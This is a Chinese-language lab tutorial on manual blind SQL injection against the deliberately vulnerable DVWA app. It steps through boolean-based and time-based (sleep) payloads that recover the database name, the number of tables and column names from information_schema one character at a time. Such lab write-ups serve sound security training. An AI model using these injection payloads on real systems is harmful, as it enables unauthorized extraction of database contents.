DVWA手动盲注SQL实验(详细教程)

一、实验原理

基于布尔盲注就是进行SQL注入时根据页面返回的True或者是False来得到数据库中的相关信息,因此可以通过是否返回页面来判断做为条件是的SQL语句的正确性,从而实现盲注的目的。

二、实验前置准备

登录靶场:使用默认账号admin、密码password登录DVWA。

切换安全等级:登录后,点击顶部导航栏的"DVWA Security",在"Security Level"下拉菜单中选择"Low",点击"Submit"保存设置。登录DVWA后,在左侧点击"SQL Injection(Blind)",进入实验页面。

2.了解SQL盲注与普通SQL注入的主要区别:

页面不会直接显示数据库错误信息,不会直接显示查询结果,只能通过页面返回的真/假状态或响应时间差异来推断信息

三、实验步骤及结果

步骤一、判断是否存在注入,注入是字符型还是数字型。

输入1,保存截图并分析结果。

分析 ‌:输入 1 时,页面返回 User ID exists in the database.,说明 ID=1 的记录存在,这是正常的业务响应。

但再输入单引号、双引号或者abcd之类的其它值,保存截图并分析结果。

分析 ‌:

输入 1'(单引号)时,页面返回 User ID is MISSING from the database.,与正常结果不同,说明:

  • 单引号破坏了原 SQL 语句的语法结构,导致查询逻辑异常
  • 输入的内容被直接拼接进 SQL 语句,存在 SQL 注入漏洞

继续输入1' and 1=1 #,保存截图并分析结果。

分析 ‌:#注释掉了后续SQL,and 1=1恒真,若页面正常,说明单引号闭合了字符串,且and逻辑被执行,‌强烈提示存在字符型SQL 注入漏洞‌。

最后输入1' and 1=2 #,保存截图并分析结果。

分析 :and 1=2恒假,若页面返回空或无数据,与1=1时形成"真/假"状态差异,‌最终确认存在基于布尔逻辑的字符型SQL注入漏洞‌。

步骤二、猜解当前数据库名。

想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。

1.猜解数据库名的长度

输入1' and length(database())=1/2/3/4....# ,保存截图并分析结果。

预期结果‌:当N等于数据库名实际长度(例如4)时,页面显示正常(True);当N为其他值时,页面无结果(False)。

 ‌分析‌:通过遍历N的值,找到使页面返回"真"状态的N,即确定了数据库名的字符长度。

2.采用二分法猜解数据库名

首先猜解首字母,再依次猜解其它字母。猜解时最好要先判断字母是大写字母、小写字母、数字或下划线,然后再逐渐进行猜解。几个典型的字符的ASCII码如下表:

|--------|-----------------|--------|-----------------|
| 字符 | ASCII | 字符 | ASCII |
| A | 65 | Z | 90 |
| a | 97 | z | 122 |
| 0 | 48 | 9 | 57 |
| _ | 95 | | |

  1. 输入1' and ascii(substr(database(),1,1))>97 # ,保存截图并分析结果;

SQL 语句逻辑分析

  • substr(database(),1,1):取出数据库名的 1 个字符
  • ascii(...):将该字符转换为 ASCII 码
  • >97:判断该 ASCII 码是否大于 97(小写字母a的 ASCII 码)

页面反馈:显示 User ID exists in the database.(页面正常返回)

结论分析

数据库名第 1 个字符的 ASCII 码 >97 ,说明该字符是小写字母( b~z 、数字或下划线(但数字 / 下划线 ASCII 码均小于 97,因此可确定为小写字母)

  1. 再输入1' and ascii(substr(database(),1,1))<122 # ,保存截图并分析结果。

SQL 语句逻辑

<122:判断该字符的 ASCII 码是否小于 122(小写字母z的 ASCII 码)

页面反馈:显示 User ID exists in the database.(页面正常返回)

结论分析

数据库名第 1 个字符的 ASCII 码 <122 ,说明该字符是小写字母( a~y

(3)此时,可采用二分进行法查找,即根据显示情况,依次输入:

1' and ascii(substr(database(),1,1))<110 #

逐次测试分析

测试 <110

    • 页面反馈:User ID exists in the database.
    • 结论分析:第 1 位字符的 ASCII 码 < 110(即小于小写字母n)

1' and ascii(substr(database(),1,1))<103 #

测试 <103

  • 页面反馈:User ID exists in the database.
  • 结论:第 1 位字符的 ASCII 码 < 103(即小于小写字母g)

1' and ascii(substr(database(),1,1))<100 #

测试 <100

  • 页面反馈:User ID is MISSING from the database.
  • 结论:第 1 位字符的 ASCII 码 ≥ 100(即大于等于小写字母d)

分别保存截图并分析结果。

(4)修改substr(databse(),1,1)的值,依次改为:

1' and ascii(substr(database(),2,1))<122 #

分别保存截图并分析结果

**页面反馈:**User ID exists in the database.

**结论分析:**第 2 位字符的 ASCII 码 <122,说明该字符是小写字母(a~y)、数字或下划线。

1' and ascii(substr(database(),3,1))<122 #

页面反馈:User ID exists in the database.

结论分析 :第 3 位字符的 ASCII 码 <122,说明该字符是小写字母( a~y 、数字或下划线。

1' and ascii(substr(database(),4,1))<122 #

页面反馈:User ID exists in the database.

结论分析 :第 4 位字符的 ASCII 码 <122,说明该字符是小写字母( a~y 、数字或下划线。

步骤三、猜解数据库中的表名。

1.首先猜解数据库中表的数量:

输入:

1' and (select count(table_name) from information_schema.tables where table_schema=database() )=1 #

保存截图并分析结果。

页面反馈:User ID is MISSING from the database.

结论分析 :当前数据库中的表数量 ≠ 1

输入:

1'and ( select count(table_name) from information_schema.tables where table_schema=database() )=2 #

保存截图并分析结果。

页面反馈:User ID exists in the database.

结论分析 :当前数据库中的表数量 = 2

2.依次猜解表名的长度

输入:

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

分析:  limit 0,1:只取出查询结果中的第一张表

 length(...):计算该表名的长度

 页面返回不同结果,判断长度是否等于我们输入的数字:

  • User ID exists in the database. → 条件成立(长度 = N)
  • User ID is MISSING from the database. → 条件不成立(长度 ≠ N)

逐次测试分析

测试长度 = 1

    • 页面反馈:User ID is MISSING from the database.
    • 结论分析:第一张表名长度 ≠ 1

提交查看,并依次将最后的数字1修改为2/3/4......

测试长度 = 2

  • 页面反馈:User ID is MISSING from the database.
  • 结论分析:第一张表名长度 ≠ 2

.. (依次测试到 9

测试长度 = 9

  • 页面反馈:User ID exists in the database.
  • 结论分析 :第一张表名长度 = 9

分别保存截图并分析结果。

3.根据长度猜解表名

输入:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

逐次测试分析

测试 >97

    • 页面反馈:User ID exists in the database.
    • 结论:第 1 位字符的 ASCII 码 >97(即大于小写字母a)

提交查看,并依次将最后的">97"修改为"<122"、"<109"、"<103"......

测试 <122

  • 页面反馈:User ID exists in the database.
  • 结论:第 1 位字符的 ASCII 码 <122(即小于小写字母z)

测试 <109

  • 页面反馈:User ID exists in the database.
  • 结论:第 1 位字符的 ASCII 码 <109(即小于小写字母m)

测试 <103

  • 页面反馈:User ID is MISSING from the database.
  • 结论:第 1 位字符的 ASCII 码 ≥103(即大于等于小写字母g)

分别保存截图并分析结果。

步骤四、猜解表中的字段名。

1.猜解表中字段的数量:

输入:

1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa')=1 #

逐次测试分析

测试 N = 1

页面反馈:User ID is MISSING from the database.

结论:users表字段数 ≠ 1

提交查看,并依次将最后的数字1修改为2/3/4......

测试 N = 2

页面反馈:User ID is MISSING from the database.

结论:users表字段数 ≠ 2

.. (依次测试到 8

测试 N = 8

  • 页面反馈:User ID exists in the database.
  • 结论:users表字段数 = 8

2.猜解表中字段的长度

输入:

1' and length(substr((select column_name from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1),1))=1 #

原理分析:

 limit 0,1:只取出查询结果中的第一个字段

 length(...):计算该字段名的长度

 页面返回 User ID exists in the database. → 条件成立(长度 = N)

 页面返回 User ID is MISSING from the database. → 条件不成立(长度 ≠ N)

逐次测试分析

测试长度 = 1

    • 页面反馈:User ID is MISSING from the database.
    • 结论分析:第一个字段名长度 ≠ 1

提交查看,并依次将最后的数字1修改为2/3/4......

测试长度 = 2

  • 页面反馈:User ID is MISSING from the database.
  • 结论分析:第一个字段名长度 ≠ 2

... (依次测试到 7

测试长度 = 7

  • 页面反馈:User ID exists in the database.
  • 结论分析:第一个字段名长度 = 7

保存截图并分析结果。

3.采用二分法猜解出所有字段名

输入:

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1),1,1))>97 #

逐次测试分析

  1. 测试 >97
    • 页面反馈:User ID exists in the database.
    • 结论分析:第 1 位字符的 ASCII 码 >97(即大于小写字母a)

提交查看,并依次将最后的">97"修改为"<122"、"<110"......

测试 <122

  • 页面反馈:User ID exists in the database.
  • 结论分析:第 1 位字符的 ASCII 码 <122(即小于小写字母z)

测试 <110

  • 页面反馈:User ID is MISSING from the database.
  • 结论分析:第 1 位字符的 ASCII 码 ≥110(即大于等于小写字母n)

分别保存截图并分析结果。

步骤五、通过延时注入猜解当前数据库名。

1.猜解数据名的长度

1' and if(length(database())=1,sleep(5),1) #

原理分析:

 若 length(database())=N 成立 → 执行 sleep(5),页面延迟 5 秒后响应

 若不成立 → 执行 1,页面立即响应(显示 User ID exists in the database.)

逐次测试分析

  1. 测试 N=1
    • 页面响应:无延迟,直接显示 User ID exists in the database.
    • 结论:数据库名长度 ≠ 1

1' and if(length(database())=2,sleep(5),1) #

测试 N=2

  • 页面响应:无延迟,直接显示 User ID exists in the database.
  • 结论:数据库名长度 ≠ 2

1' and if(length(database())=3,sleep(5),1) #

测试 N=3

  • 页面响应:无延迟,直接显示 User ID exists in the database.
  • 结论:数据库名长度 ≠ 3

1' and if(length(database())=4,sleep(5),1) #

测试 N=4

  • 页面响应:出现 5 秒延迟后才显示内容
  • 结论:数据库名长度 = 4

查看是否有延迟。

✅ 综合结论

  • 当前数据库名长度为 4 个字符(DVWA 默认数据库名 dvwa 长度恰好为 4,与结果吻合)。
  • 这是典型的时间盲注:通过页面响应延迟,间接判断查询条件的真假,从而获取数据库结构信息。

2. 用二分法猜测数据库名(查看是否有延迟。依次类推直到获取数据库名称)

核心原理

延时注入通过 sleep(5) 判断条件真假:

sql

1' and if(条件, sleep(5), 1)#

  • 有明显延迟 → 条件成立
  • 无延迟 → 条件不成立

1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) # 明显延迟

...

逐次测试分析

  1. 测试 >97
    • 页面响应:明显延迟
    • 结论:第 1 位字符 ASCII 码 >97(即大于小写字母a)

最终锁定 ASCII=100 → 字符 d

1' and if(ascii(substr(database(),1,1))<100,sleep(5),1) # 没有延迟

测试 <100

  • 页面响应:无延迟
  • 结论:第 1 位字符 ASCII 码 ≥100(即大于等于小写字母d)

1' and if(ascii(substr(database(),1,1))>100,sleep(5),1) # 没有延迟

测试 >100

  • 页面响应:无延迟
  • 结论:第 1 位字符 ASCII 码 ≤100(即小于等于小写字母d)

猜解第 2 位字符

修改 substr 第二个参数为 2:

1' and if(ascii(substr(database(),2,1))>97,sleep(5),1)# -- 测试是否>97

重复二分法:

若 >118 无延迟 → 说明 ≤118

若 <118 有延迟 → 说明 <118

最终锁定 ASCII=118 字符 V

猜解第 3 位字符

  • 修改 substr 第二个参数为 3:

1' and if(ascii(substr(database(),3,1))>97,sleep(5),1)#

  • 二分法后锁定 ASCII=119 → 字符 w

猜解第 4 位字符

  • 修改 substr 第二个参数为 4:

1' and if(ascii(substr(database(),4,1))>97,sleep(5),1)#

  • 二分法后锁定 ASCII=97 → 字符 a

🔹 第三步:拼接结果

将 4 位字符拼接:d + v + w + a → dvwa ,得到完整数据库名。

相关推荐
吠品2 小时前
PyTorch张量维度不匹配?实战排查与修复指南
开发语言·oracle·php
草莓熊Lotso2 小时前
Linux 进程信号深度解析(下):信号的保存、阻塞与捕捉
android·linux·运维·服务器·数据库·c++·性能优化
ALex_zry4 小时前
C++ ORM与数据库访问层设计:Repository模式实战
开发语言·数据库·c++
Arva .10 小时前
深分页与游标
数据库·oracle
idolao11 小时前
MySQL 5.7 安装教程:详细步骤+自定义安装+命令行客户端配置(Windows版)
数据库·windows·mysql
20年编程老鸟java+ai全栈11 小时前
mysql、pg、oracel数据库迁移避坑指南
数据库·mysql
Rsun0455112 小时前
Redis中实现访问量计数
数据库·redis·缓存
天空属于哈夫克312 小时前
自动化素材中枢:实现云端文件与外部群消息的异步同步方案
数据库·oracle